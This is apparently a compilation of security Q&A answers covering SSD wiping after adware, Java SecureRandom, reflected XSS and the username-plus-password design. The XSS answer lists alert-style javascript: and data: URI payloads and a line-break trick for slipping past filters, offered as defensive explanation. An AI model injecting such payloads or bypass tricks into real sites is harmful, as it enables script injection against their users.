How to wipe potentially infected SSD? I recently fell victim to some Adware (and possible malware).  I was installing Firefox and clicked an ad link in Bing and downloaded a "packaged" Firefox install.  I believe the ad is still at the top of Bing if you search "Firefox download" right now...

I ran a scan with AVG and a scan with MalwareBytes.  Both showed some Adware (about 3 entries total) and those entries were removed.  I also installed Firefox from a known, good source and also had to revert a few settings in IE (homepage, default search provider).

However, I am a paranoid person and want to wipe the Windows install on the SSD and start from a clean slate.  What is the best way to do this?

Here are the options that I've been able to find:

Do a secure erase via a third party utility and boot CD.  This might take some time since I don't currently have either a USB drive I can use to boot from or a CD-ROM drive on a non-infected machine.
Use Diskpart (from Windows 7 install media) to do a clean/clean all.  What are the benefits of the clean all versus just the clean?  Will any of these operations hurt my SSD?  The drive in question is an 850 Evo, so I'm not too concerned about write endurance.

My goal is to start with a 100% fresh drive and Windows install.  Also, there's a second drive in the system that I had planned to install Linux at a later date.  It should be totally unformatted and in factory new condition (Windows never saw the drive come up when you clicked on "Computer").  Do I have to follow similar steps for wiping on that drive as well?

Thanks in advance for the help.

If you're trying to eliminate malware, a simple format is sufficient.

Zero-wiping the disk or repeated over-writing with fancy patterns is about preventing humans from using advanced data-recovery techniques to read the data.  There's nothing magical about a pattern of bits that makes it malware, it's the structure surrounding it: the directory entries pointing to the files containing it, the fact that it's marked as executable code, the registry entries for running it, and so on.  Eliminate all that, as happens during a format, and it's just a harmless pattern of bits.


Java SecureRandom generate secure random number How to generate a secure random number bit length is 256 bits using Java. What is the different between:

SecureRandom random = new SecureRandom();
                and
SecureRandom prng = SecureRandom.getInstance("SHA1PRNG");

With the first line, you let the JVM use the "secure random" implementation which is registered as default implementation in that JVM, whereas the second line forces the use of a specific implementation.

It is recommended to use the default (new SecureRandom()) because a specific Java-compatible platform could have a dedicated provider which is "better" (e.g. if the platform has a hardware RNG, the JVM might have been configured to use it with a specific implementation of the SecureRandomSpi interface, which you get by selecting the "default provider" but not by enforcing the use of "SHA1PRNG").


Is reflected XSS impossible, when HTML meta-characters, e.g., , are encoded, and the result output in HTML context? Is reflected XSS impossible, when HTML meta-characters, e.g., < and >, are encoded, and the result output in HTML context?

I have a website that displays the URL path directly in HTML context, i.e.,

www.mysite.com/helloworld results in helloworld being displayed between <body> tags.

However, some meta-characters, e.g., < and >, are HTML escaped.

In this case, is it possible to perform a reflected XSS attack, like some esoteric UTF encoding attack etc.?

This depends on the context. I am assuming you're using htmlentities() function, which would be generally safe. It does more or less the exact same thing as htmlspecialchars() does.

Both of which secure against general XSS, and prevent event-based XSS when the sanitized parameter is injected into a HTML tag.

They both do not prevent javascript: attacks, which can happen if injecting the parameter value into a link, iframe, or other similar tag. If injecting a src or href from any of them tags, I would recommend first removing any whitespace from the parameter, and then checking for both javascript: and data:.

javascript:alert(0) will give you an alert when injected into a link or iframe.
data:text/javascript:alert(0) will do the same.
data:text/html:<script>alert(0);</script> does the same thing too, and bypasses strip_tags.

The reason for first removing whitespace, is to prevent an attacker dropping a line break/CRLF character in the middle of their payload, so PHP reads it as not being javascript: or data: when blocking the payload, but it will still execute as javascript will ignore it.

I hope that explains what type of attacks are possible, it's very easy to claim that htmlentities() and htmlspecialchars() are a one-fits-all solution to the problem, but depending on the situation, that can be extremely dangerous advice.


Why have username AND password? It seems most security mechanisms nowadays default to a username + password combination for authorization. I want to know why there are 2 "keys," if you will. Won't one credential suffice?

Put differently, why can't I (or don't I) run a login form on a site using just one field, the secret password?

Let a server which only requires a password for opening a session; no username. Let's imagine that user 'Alice' has registered, with password 'ILoveBillClinton'.

Now, a new user wants to register; let's call him Bob. Out of (bad) luck, Bob elects to use password 'ILoveBillClinton' too. Such collisions happen in practice; indeed, even if users choose passwords with 30 bits of entropy (an already optimistic figure), it suffices to have 30 thousands or so users to have a good chance of triggering such a collision (this is called the Birthday Paradox).

The registration server then has three ways to handle this situation:

The server warns Bob about the collision. Bob then immediately learns that there is another user with the same password, and since the server does not require the username, just the password, Bob gains immediate access to Alice's account.
The server does not warn Bob about the collision, but just ignores the registration. When Bob actually connects, he has the surprise of being greeted with a banner stating "Hello, Alice !". Bob has gained immediate access to Alice's account.
The server does not warn Bob about the collision, and replaces Alice's registration with Bob's registration. Bob has his own account, alright. But when Alice logs on again, she types her password, and is greeted with "Hello, Bob !". Alice has gained immediate access to Bob's account.

None of these methods is satisfying.

The entry of the username would not be necessary if password collisions did not happen (or would happen only with negligible probability). But as long as passwords are chosen by human minds and stored in human brains, collisions will happen, and a username (or user ID or any similar discriminant value) will be needed.

Edit: as @mikeazo alludes to, if the passwords are not chosen by the user, but generated by the registration server, then the server can enforce uniqueness and avoid this problem. However, in practice, human users do not like machine-generated passwords.

Also, lack of username prevents user-specific salting, which is a problem for password storage, as long as passwords are of sufficiently low entropy to be exhaustively scanned (see this answer for details on how password should be hashed, including salting). This happens even if the passwords are server-chosen (with enforced uniqueness). Unless you can convince your users to remember long and random passwords which they did not choose...